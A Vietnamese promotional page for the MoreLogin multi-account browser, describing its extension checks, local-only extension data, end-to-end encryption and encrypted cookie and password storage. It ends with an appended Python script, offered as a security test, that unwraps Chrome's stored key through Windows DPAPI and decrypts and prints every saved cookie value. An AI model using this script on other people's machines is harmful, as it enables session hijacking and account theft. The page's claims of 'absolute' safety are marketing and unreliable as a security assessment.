MoreLogin Security giữ an toàn cho dữ liệu của bạn

MoreLogin cung cấp bảo mật toàn diện từ đầu đến cuối, từ khi bắt đầu sử dụng đến mã hóa và truy cập dữ liệu, đảm bảo an toàn tuyệt đối cho tài khoản của bạn.

Các tiện ích mở rộng trình duyệt thường có quyền truy cập cao, cho phép chúng thao tác dữ liệu duyệt web của người dùng. Tuy nhiên, chính điều này cũng tiềm ẩn rủi ro bảo mật. Đã có nhiều trường hợp người dùng bị mất tài sản tài khoản do dữ liệu từ tiện ích mở rộng bị đánh cắp.

1. MoreLogin Đảm Bảo An Toàn Cho Các Tiện Ích Mở Rộng Như Thế Nào?

MoreLogin khuyến nghị sử dụng các tiện ích mở rộng gốc từ Chrome thay vì các tiện ích mở rộng của bên thứ ba, vì Cửa hàng Chrome tiến hành đánh giá nghiêm ngặt trước khi liệt kê bất kỳ tiện ích nào. Tất cả tiện ích mở rộng được tải xuống trong trình duyệt MoreLogin đều là phiên bản chính thức từ Cửa hàng Chrome. 

Khi người dùng tự tải lên tiện ích mở rộng của bên thứ ba, hệ thống sẽ kiểm tra xem đó có phải là tiện ích chính thức hay không và cung cấp hướng dẫn phù hợp. Nếu tiện ích đã được liệt kê trên Cửa hàng Chrome, MoreLogin sẽ ngăn chặn việc tải lên và sử dụng các phiên bản giả mạo, đồng thời hướng dẫn người dùng cài đặt phiên bản chính thức. Quá trình xác minh này giúp ngăn chặn việc cài đặt các tiện ích mở rộng không an toàn, bảo vệ tài sản kỹ thuật số của người dùng.

2. Làm thế nào MoreLogin bảo vệ bảo mật dữ liệu mở rộng người dùng

2.1 Lưu trữ mặc định dữ liệu mở rộng cục bộ

MoreLogin mặc định chỉ lưu trữ dữ liệu mở rộng cục bộ. Việc đồng bộ hóa các tiện ích mở rộng trong MoreLogin bị tắt theo mặc định. Điều này có nghĩa là dữ liệu mở rộng sẽ không được tự động tải lên, tránh nguy cơ bị tin tặc đánh cắp trong quá trình truyền hoặc trên máy chủ.

Để đảm bảo an toàn, hãy truy cập góc trên bên phải giao diện chính, nhấp vào Avatar > Cài đặt > Cài đặt toàn cục > Đồng bộ chương trình mở rộng và dữ liệu, sau đó tắt tùy chọn Đồng bộ chương trình mở rộng và dữ liệu.

2.2 Mã hóa đầu cuối độc đáo

MoreLogin cung cấp một giải pháp mã hóa đầu cuối tiên tiến, đặc biệt hữu ích cho các nhóm cần chia sẻ dữ liệu giữa nhiều thành viên hoặc thiết bị. Công nghệ này sử dụng thuật toán mã hóa bất đối xứng, tạo ra một khóa duy nhất dựa trên thông tin thiết bị cục bộ của người dùng khi tính năng được kích hoạt. Khóa này đảm bảo rằng tất cả dữ liệu trong môi trường—bao gồm tiện ích mở rộng, tài khoản, mật khẩu—đều được mã hóa an toàn. Việc giải mã chỉ có thể diễn ra cục bộ khi cả tài khoản MoreLogin và khóa duy nhất của người dùng được sử dụng. Điều này giúp ngăn chặn rủi ro ngay cả trong trường hợp dữ liệu bị đánh cắp trong quá trình truyền tải, khiến việc giải mã trở nên vô cùng khó khăn đối với bên thứ ba.

Làm thế nào để kích hoạt mã hóa đầu cuối? Nhấn vào đây để xem hướng dẫn: Mã hóa đầu cuối | Trung tâm trợ giúp MoreLogin

2.3 Mã hóa dữ liệu mở rộng cục bộ

MoreLogin tiên phong trong ngành với công nghệ mã hóa dữ liệu mở rộng cục bộ, giúp bảo vệ dữ liệu tiện ích mở rộng khỏi các truy cập trái phép. Khi tính năng này được kích hoạt, dữ liệu mở rộng trên thiết bị của bạn sẽ không thể sử dụng trên các trình duyệt khác.

Thông thường, dữ liệu mở rộng dựa trên nhân Chromium có thể tương thích giữa các thiết bị. Ví dụ, bạn có thể chuyển các tệp tiện ích mở rộng từ máy tính A sang thư mục tiện ích mở rộng trên máy tính B và sử dụng chúng mà không cần đăng nhập. Tuy nhiên, chính khả năng tương thích này cũng tạo ra rủi ro bảo mật. Nếu tin tặc hoặc phần mềm độc hại đánh cắp các tệp mở rộng này, tài khoản của bạn có thể bị xâm nhập.

Để ngăn chặn nguy cơ này, MoreLogin cung cấp mã hóa mở rộng cục bộ. Sau khi kích hoạt, ngay cả khi dữ liệu bị đánh cắp, nó vẫn không thể bị giải mã hoặc sử dụng trái phép, giúp bảo vệ tài sản kỹ thuật số của bạn một cách tối đa.

Xem thêm tại video này: https://www.youtube.com/watch?v=BznZfT3fKfQ

Để tăng cường bảo mật, hãy truy cập góc trên bên phải của giao diện chính, nhấp vào Avatar > Cài đặt > Cài đặt toàn cục > Bảo vệ dữ liệu mở rộng, sau đó bật Bảo vệ dữ liệu mở rộng.

3. Mã hóa mặc định MoreLogin của cookie người dùng và mật khẩu tài khoản

Trong các trình duyệt dựa trên Chromium, cookie và mật khẩu tài khoản thường có thể được chia sẻ giữa các trình duyệt khác nhau, tạo ra rủi ro bảo mật. Tuy nhiên, MoreLogin mặc định mã hóa toàn bộ cookie và mật khẩu trong mỗi hồ sơ. Ngay cả khi tệp thư mục chứa cookie và mật khẩu của bạn bị sao chép hoặc đánh cắp, chúng vẫn không thể được truy cập hoặc giải mã trên bất kỳ trình duyệt nào khác, đảm bảo an toàn tuyệt đối cho dữ liệu của bạn.

Kết quả kiểm tra mật khẩu tài khoản:

Khi sử dụng trình duyệt thông thường, mật khẩu tài khoản được lưu trữ có thể được xem trực tiếp dưới dạng văn bản gốc. Tuy nhiên, MoreLogin sẽ mã hóa dữ liệu này, chỉ hiển thị dưới dạng bản mã để đảm bảo an toàn.

Kết quả kiểm tra cookie:

Khi sử dụng trình duyệt thông thường, cookie có thể được truy cập cục bộ và hiển thị dưới dạng bản rõ. Tuy nhiên, MoreLogin sẽ mã hóa dữ liệu này, chỉ hiển thị dưới dạng bản mã để tăng cường bảo mật.

Tại trình duyệt MoreLogin, chúng tôi không bao giờ thỏa hiệp về bảo mật dữ liệu người dùng — đó là điểm mấu chốt tuyệt đối của chúng tôi. Chúng tôi đi ra ngoài để giữ dữ liệu của bạn an toàn để bạn có thể sử dụng dịch vụ của chúng tôi với sự an tâm hoàn toàn. Hãy thử MoreLogin, nhấp vào liên kết https://www.morelogin.com/download/ và khởi động trải nghiệm quản lý đa tài khoản an toàn, hiệu quả của bạn.

Kết thúc

———————— 

👇Kèm theo là tập lệnh Python để kiểm tra bảo mật cookie và mật khẩu:

#*********************************************************************************************
#*** File description: Read cookies stored in Chrome and output them
#*********************************************************************************************
import os
import shutil
# pip install pywin32
import sqlite3, win32crypt
import json
import base64
import argparse
# pip install pycryptodomex
from Cryptodome.Cipher import AES

def main():
    # ========================================================================================
    # === ps：
    # ===   This script must be run with Chrome closed, or the file must be copied out with # # # === Chrome closed, otherwise the file will be occupied
    # ========================================================================================

    # Cookie file directory "%LocalAppData%\Google\Chrome\User Data\Default\Network\Cookies"  or open chrome://version/  find Profile Path
    database_path = 'd:/Cookies' #os.path.expanduser('~') + encrypt_decrypt(Cookies, key)
    print(database_path)
    # Decrypt file address "%LocalAppData%\Google\Chrome\User Data\Local State"，Password in os_crypt.encrypted_key
    local_state_path = 'd:/Local State'

    with open(local_state_path, 'r', encoding='utf-8') as fp:  
        local_state = json.load(fp)
        # Retrieve the decryption key from the 'Local State' file
        master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
        # Remove prefix characters from the key: DPAPI 
        master_key = master_key[5:]
        master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
        print('decryption key: ' + str(master_key))   

    # Connect to password database and read data
    with sqlite3.connect(database_path) as conn:
        cursor = conn.cursor()
        cursor.execute('SELECT * FROM cookies')
        #results = cursor.fetchall()

        # Collect an array of field names
        all_field_names = []
        for field in cursor.description:
            all_field_names.append(field[0])
        i=0
        for row in cursor.fetchall():
            i=i+1
            print('============================ Cookie', i, '============================')
            for name in all_field_names:
                val = row[all_field_names.index(name)]
                if name == 'encrypted_value':
                    name = 'cookie_value'
                    val = decrypt_password(val, master_key) # use key
                print(name, ': ', val) # out put field name and value
            #for column in row:
            #    print(column)

def encrypt_decrypt(data: str, key: str) -> str:
    return ''.join([chr(ord(data[i]) ^ ord(key[i % len(key)])) for i in range(len(data))])

def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)

def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)

def decrypt_password(buff, master_key):
    try:
        iv = buff[3:15]
        payload = buff[15:]
        cipher = generate_cipher(master_key, iv)
        decrypted_pass = decrypt_payload(cipher, payload)
        decrypted_pass = decrypted_pass[:-16]  # remove suffix bytes
        return decrypted_pass.decode('utf-8', errors='replace')
    except Exception as e:
        print("Unable to decode：", buff)

if __name__ == '__main__':
    main()